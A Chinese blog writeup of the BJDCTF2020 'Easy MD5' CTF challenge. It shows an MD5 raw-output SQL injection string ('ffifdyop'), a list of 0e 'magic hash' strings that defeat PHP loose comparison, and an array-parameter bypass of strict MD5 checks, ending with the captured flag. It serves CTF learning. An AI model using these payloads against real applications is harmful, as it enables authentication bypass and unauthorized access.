【CTF Web】BUUCTF [BJDCTF2020]Easy MD5 Writeup(代码审计+PHP+MD5的SQL注入+MD5的0e绕过+MD5的数组绕过)

[BJDCTF2020]Easy MD5

1
https://github.com/BjdsecCA/BJDCTF2020


解法

一个简简单单的输入框。

<body>
    <div class="container">
        <div id="header">
        </div><!-- /header end -->
        <div class="main">

            <section>
                <form class="upload" action="leveldo4.php" method="GET">
                    <input type="text" id="name" name='password' class="in">
                    <input type="submit" class="give">
                </form>
            </section>
        </div><!-- /main end -->

    </div><!-- /container end -->
    <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
</body>

随便输入一些字符提交,什么也没有返回。尝试 SQL 注入,注入失败。

响应标头里发现 Hint。

select * from 'admin' where password=md5($pass,true)

输入一个特殊的值作为 password:

ffifdyop

经过 md5($pass,true) 加密后,变成:

276f722736c95d99e921722cf9ed621c

前几位会被解析为:

'or'6

从而实现 SQL 注入。

查看网页源代码。


<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        span {
            position: relative;
            display: flex;
            width: 100%;
            height: 700px;
            align-items: center;
            font-size: 70px;
            font-family:'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;
            justify-content: center;
        }
    </style>
</head>

<body>
    <span>Do You Like MD5?</span>
</body>

</html>

发现注释里有信息。

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

弱类型比较,可以用 0e 绕过。0e 被解析为科学计数法,且0的任何正数次方都等于0。

找两个 MD5 值为 0e 开头的字符串作为参数:

QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a

访问:

http://4f073b00-e6c8-403c-bd45-1d693f9e89b3.node5.buuoj.cn:81/levels91.php?a=byGcY&b=sonZ7y
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

强类型比较,可以用数组绕过。因为 md5 函数无法处理数组类型,所以会返回 null,null === null。

用 hackbar 发送 POST 请求到:

http://4f073b00-e6c8-403c-bd45-1d693f9e89b3.node5.buuoj.cn:81/levell14.php

请求体:

param1[]=1&param2[]=2

取得 flag。

Flag

flag{f2ca3378-1064-4455-8806-0d4039a3274e}

声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值